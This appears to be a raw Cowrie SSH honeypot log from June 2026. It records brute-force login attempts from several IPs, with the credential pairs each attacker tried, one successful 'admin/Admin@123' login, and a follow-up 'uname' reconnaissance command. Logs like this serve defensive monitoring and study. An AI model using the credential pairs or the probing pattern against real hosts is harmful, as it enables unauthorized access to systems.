{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:55.873266Z","src_ip":"192.109.200.78","session":"f6c597148f50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:56.117610Z","src_ip":"192.109.200.78","session":"f6c597148f50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:57.200231Z","src_ip":"192.109.200.78","session":"f6c597148f50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53120,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7f9b8f9801b","protocol":"ssh","message":"New connection: 192.109.200.78:53120 (10.17.0.5:22) [session: f7f9b8f9801b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:59.400615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:59.403890Z","src_ip":"192.109.200.78","session":"f7f9b8f9801b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:59.484537Z","src_ip":"192.109.200.78","session":"f7f9b8f9801b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:59.727993Z","src_ip":"192.109.200.78","session":"f7f9b8f9801b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:59.923884Z","src_ip":"192.109.200.78","session":"f7f9b8f9801b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:59.926266Z","src_ip":"192.109.200.78","session":"f7f9b8f9801b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:00.009910Z","src_ip":"192.109.200.78","session":"f7f9b8f9801b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:00.013213Z","src_ip":"192.109.200.78","session":"f7f9b8f9801b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43540,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8e0b642dad4","protocol":"ssh","message":"New connection: 192.109.200.78:43540 (10.17.0.5:22) [session: c8e0b642dad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:02.957782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:02.975817Z","src_ip":"192.109.200.78","session":"c8e0b642dad4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:03.044194Z","src_ip":"192.109.200.78","session":"c8e0b642dad4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jay","password":"jay","message":"login attempt [jay/jay] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:03.368707Z","src_ip":"192.109.200.78","session":"c8e0b642dad4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:04.454664Z","src_ip":"192.109.200.78","session":"c8e0b642dad4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43560,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea7dfc575fc8","protocol":"ssh","message":"New connection: 192.109.200.78:43560 (10.17.0.5:22) [session: ea7dfc575fc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:06.390528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:06.469212Z","src_ip":"192.109.200.78","session":"ea7dfc575fc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:06.551020Z","src_ip":"192.109.200.78","session":"ea7dfc575fc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"labuser","password":"labuser","message":"login attempt [labuser/labuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:06.796056Z","src_ip":"192.109.200.78","session":"ea7dfc575fc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:07.880721Z","src_ip":"192.109.200.78","session":"ea7dfc575fc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":52544,"dst_ip":"159.203.135.109","dst_port":22,"session":"55b4a99b0f8f","protocol":"ssh","message":"New connection: 92.207.4.157:52544 (159.203.135.109:22) [session: 55b4a99b0f8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:09.449038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:09.452529Z","src_ip":"92.207.4.157","session":"55b4a99b0f8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:09.549145Z","src_ip":"92.207.4.157","session":"55b4a99b0f8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43588,"dst_ip":"10.17.0.5","dst_port":22,"session":"20dedce75798","protocol":"ssh","message":"New connection: 192.109.200.78:43588 (10.17.0.5:22) [session: 20dedce75798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:09.923036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:09.927184Z","src_ip":"192.109.200.78","session":"20dedce75798","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"google123","message":"login attempt [root/google123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:09.972040Z","src_ip":"92.207.4.157","session":"55b4a99b0f8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:10.009400Z","src_ip":"192.109.200.78","session":"20dedce75798","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"calvin","password":"calvin","message":"login attempt [calvin/calvin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:10.264895Z","src_ip":"192.109.200.78","session":"20dedce75798","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:11.071589Z","src_ip":"92.207.4.157","session":"55b4a99b0f8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:11.347678Z","src_ip":"192.109.200.78","session":"20dedce75798","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.29.234.126","src_port":33594,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3909e904cb2","protocol":"ssh","message":"New connection: 46.29.234.126:33594 (159.203.135.109:22) [session: a3909e904cb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:13.273930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:13.277695Z","src_ip":"46.29.234.126","session":"a3909e904cb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37176,"dst_ip":"10.17.0.5","dst_port":22,"session":"738630134591","protocol":"ssh","message":"New connection: 192.109.200.78:37176 (10.17.0.5:22) [session: 738630134591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:13.383449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:13.386803Z","src_ip":"192.109.200.78","session":"738630134591","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:13.388359Z","src_ip":"46.29.234.126","session":"a3909e904cb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:13.467558Z","src_ip":"192.109.200.78","session":"738630134591","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"drcomadmin","password":"drcomadmin123","message":"login attempt [drcomadmin/drcomadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:13.744453Z","src_ip":"192.109.200.78","session":"738630134591","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"simon","password":"simon","message":"login attempt [simon/simon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:13.858793Z","src_ip":"46.29.234.126","session":"a3909e904cb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:14.827920Z","src_ip":"192.109.200.78","session":"738630134591","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:14.970836Z","src_ip":"46.29.234.126","session":"a3909e904cb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37182,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbfe196d9ebf","protocol":"ssh","message":"New connection: 192.109.200.78:37182 (10.17.0.5:22) [session: bbfe196d9ebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:17.035606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:17.038868Z","src_ip":"192.109.200.78","session":"bbfe196d9ebf","protocol":"ssh"}
